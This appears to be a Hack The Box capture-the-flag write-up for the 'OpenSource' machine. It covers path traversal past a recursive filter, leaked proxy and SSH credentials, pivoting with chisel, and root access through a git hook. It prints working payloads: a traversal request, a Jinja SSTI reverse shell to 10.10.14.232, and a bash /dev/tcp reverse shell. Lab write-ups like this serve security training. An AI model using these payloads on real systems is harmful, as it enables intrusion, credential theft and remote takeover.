HTB - OpenSource
OpenSource starts as a small Flask application with a file upload feature and a downloadable source bundle. The interesting part is not the upload form itself, but the sanitization logic behind it: a recursive string replacement that looks reasonable until path traversal payloads start bending around it.
This writeup follows the path from source review to file disclosure, then into container escape and privilege escalation.
Enumerating Services
| Service | State | Port | Version |
|---|---|---|---|
| ssh | open | 22 | OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| http | open | 80 | Werkzeug/2.1.2 Python/3.10.3 |
| ppp | open | 3000 | Unrecognized Service |
Web - Werkzeug
Website features
The website has basically a button to download the source code of the site (1) and another to upload files (2)


Source code analysis
Analyzing the code, we found the following endpoints exposed:
/app/views.py
import os
from app.utils import get_file_name
#...
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
And the following functions that perform sanitization
/app/utils.py
#...
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
#...
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
After putting a long time, we get a Path Traversal if we use the following request:
GET /uploads/..//..//etc/passwd HTTP/1.1
Host: 10.10.11.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Wed, 17 Aug 2022 22:51:23 GMT
Content-Disposition: inline; filename=passwd
Content-Type: application/octet-stream
Content-Length: 1172
Last-Modified: Thu, 16 Sep 2021 19:13:31 GMT
Cache-Control: no-cache
ETag: "1631819611.0-1172-430441564"
Date: Wed, 17 Aug 2022 22:51:23 GMT
Connection: close
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Finding
We found that in the views.py of the downloaded project (source.zip) we have fewer endpoints exposed. So we tried to make a traversal of app/app/views.py. We observe the following:
...
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
Recon
Here we list interesting file recon using found LFI
/proc/self/environ
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Sat, 03 Sep 2022 23:25:26 GMT
Content-Disposition: inline; filename=environ
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Sat, 03 Sep 2022 23:25:26 GMT
Cache-Control: no-cache
ETag: "1662247526.0456357-0-1697908884"
Date: Sat, 03 Sep 2022 23:25:26 GMT
Connection: close
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�HOSTNAME=d2955e0d4829�LANG=C.UTF-8�GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D�PYTHON_VERSION=3.10.3�PYTHON_PIP_VERSION=22.0.4�PYTHON_SETUPTOOLS_VERSION=58.1.0�PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/38e54e5de07c66e875c11a1ebbdb938854625dd8/public/get-pip.py�PYTHON_GET_PIP_SHA256=e235c437e5c7d7524fbce3880ca39b917a73dc565e0c813465b7a7a329bb279a�PYTHONDONTWRITEBYTECODE=1�MODE=PRODUCTION�FLASK_DEBUG=1�HOME=/root�SUPERVISOR_ENABLED=1�SUPERVISOR_PROCESS_NAME=flask�SUPERVISOR_GROUP_NAME=flask�WERKZEUG_SERVER_FD=3�WERKZEUG_RUN_MAIN=true�
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
/proc/version
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Sat, 03 Sep 2022 23:25:26 GMT
Content-Disposition: inline; filename=version
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Sat, 03 Sep 2022 23:25:26 GMT
Cache-Control: no-cache
ETag: "1662247526.5616357-0-1070270144"
Date: Sat, 03 Sep 2022 23:25:26 GMT
Connection: close
Linux version 4.15.0-176-generic (buildd@lcy02-amd64-020) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #185-Ubuntu SMP Tue Mar 29 17:40:04 UTC 2022
Plan A:
- SSTI Jinja - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
Plan B:
- Export private Key using ID A035C8C19219BA821ECEA86B64E628F8D684696D - https://makandracards.com/makandra-orga/37763-gpg-extract-private-key-and-import-on-different-machine
Analyzing GIT Repo
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
"http.proxyStrictSSL": false
}
Foothold
FLI + SSTI -> Reverse Shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__["__import__"]("os").popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.232",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh", "-i"]);'").read().zfill(417)}}{%endif%}{% endfor %}
We have the reverse shell now we need to pivot.
Pivot
- Chisel
- Proxychains
References:
- https://deephacking.tech/pivoting-con-chisel/
- https://deephacking.tech/pivoting-con-proxychains/
Useful Binaries in Docker
- nc, wget, base64
Pivoting
Expose chisel client with python, download with wget
~/D/h/source-code python -m http.server 8077 (base)
Serving HTTP on :: port 8077 (http://[::]:8077/) ...
::ffff:10.10.11.164 - - [13/Sep/2022 23:00:03] "GET /chisel_1.7.7_linux_amd64 HTTP/1.1" 200 -
Reverse Proxy
In the HOST
/app # ./chisel_1.7.7_linux_amd64 client 10.10.14.232:8090 R:5555:socks
2022/09/14 02:03:05 client: Connecting to ws://10.10.14.232:8090
2022/09/14 02:03:08 client: Connected (Latency 422.50045ms)
In the victim
~/D/h/source-code chisel server -p 8090 --host 10.10.14.232 --reverse (base)
2022/09/13 23:01:33 server: Reverse tunnelling enabled
2022/09/13 23:01:33 server: Fingerprint 8POiHfkj5iqGzA0VY4OTirr8lVaI9YYc5jocfVvyEdo=
2022/09/13 23:01:33 server: Listening on http://10.10.14.232:8090
2022/09/13 23:03:08 server: session#1: tun: proxy#R:127.0.0.1:5555=>socks: Listening
Accessing filtered Service - Gitea
We use the credentials from the repo:
- username: dev01
- passwd: Soulless_Developer#202
There is a repo with hardcoded .ssh credentials


User Flag
$ proxychains4 ssh -i id_rsa dev01@10.10.11.164

Root Flag
Tiramos un linpeas pero sin exito de encontrar algo interesante.
Revisamos procesos con ps aux:
root 8319 0.0 0.0 4636 868 ? Ss 22:58 0:00 /bin/sh -c /usr/local/bin/git-sync
root 8322 0.0 0.0 11600 3208 ? S 22:58 0:00 /bin/bash /usr/local/bin/git-sync
root 8331 0.0 0.1 18288 4140 ? S 22:58 0:00 git commit -m Backup for 2022-09-14
root 8332 0.0 0.0 11600 3192 ? S 22:58 0:00 /bin/bash .git/hooks/pre-commit
root 8338 0.0 0.0 20188 3840 ? S 22:58 0:00 bash -i
root 8994 0.0 0.0 57508 3244 ? S 23:00 0:00 /usr/sbin/CRON -f
root 8998 0.0 0.0 4636 872 ? Ss 23:00 0:00 /bin/sh -c /usr/local/bin/git-sync
root 9000 0.0 0.0 11600 3216 ? S 23:00 0:00 /bin/bash /usr/local/bin/git-sync
root 9007 0.0 0.1 18280 4068 ? S 23:00 0:00 git commit -m Backup for 2022-09-14
root 9013 0.0 0.0 11600 3228 ? S 23:00 0:00 /bin/bash .git/hooks/pre-commit
root 9014 0.0 0.0 11600 236 ? S 23:00 0:00 /bin/bash .git/hooks/pre-commit
root 9526 0.0 0.0 0 0 ? I 23:00 0:00 [kworker/u4:1]
dev01 9632 0.0 0.0 40100 3652 pts/1 R+ 23:00 0:00 ps aux
dev01 10474 0.0 0.1 76820 7832 ? Ss 22:35 0:00 /lib/systemd/systemd --user
dev01 10482 0.0 0.0 193720 2504 ? S 22:35 0:00 (sd-pam)
root 12696 0.0 0.1 107992 7200 ? Ss 22:41 0:00 sshd: dev01 [priv]
dev01 12765 0.0 0.0 107992 3456 ? S 22:41 0:00 sshd: dev01@pts/1
dev01 12767 0.0 0.1 23172 5376 pts/1 Ss 22:41 0:00 -bash
root 13949 0.0 0.0 0 0 ? I 22:44 0:00 [kworker/1:1]
dev01 17254 0.0 0.0 49804 3840 ? Ss 22:44 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopi
dev01 21667 0.0 0.0 92032 3424 ? SLs 22:45 0:00 /usr/bin/gpg-agent --supervised
Interesting the git hook running as root.
root 9014 0.0 0.0 11600 236 ? S 23:00 0:00 /bin/bash .git/hooks/pre-commit
Revisamos el contenido:
dev01@opensource:~$ cat .git/hooks/pre-commit
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/6666 0>&1
Kaboom! They put a reverse shell here. We change the script to point to our IP and start the listener.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.232/6666 0>&1
nc -v -l 6666
And the rest is history.
find / -name "*.txt"
cat /root/root.txt
********************************